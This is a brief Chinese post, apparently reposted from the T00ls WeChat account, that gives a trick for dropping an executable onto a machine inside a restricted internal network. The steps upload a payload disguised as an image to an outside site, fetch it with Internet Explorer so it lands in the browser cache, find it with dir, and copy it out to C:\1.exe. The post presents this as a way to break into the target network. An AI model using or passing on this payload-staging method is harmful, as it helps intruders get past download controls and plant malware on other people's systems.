【奇技淫巧】一个奇葩的内网写入文件方法

找到一个可以上传图片的web站点：

"C:Program FilesInternet Exploreriexplore.exe" http://内网可以访问的站点/0/09/40/75/91ef76c6a7efce1bee5deaebac51f3deb48f6598.jpg 

执行访问后会有缓存文件：

然后 cd 到C:UsersAdministratorAppDataLocalMicrosoftWindowsTemporary Internet Files> 执行dir /s /w 91ef76c6a7efce1bee5deaebac51f3deb48f6598*.*   找到路径

接下来就是：

 type 路径>C:1.exe  应该可以突破他内网了。

本文始发于微信公众号（T00ls）：【奇技淫巧】一个奇葩的内网写入文件方法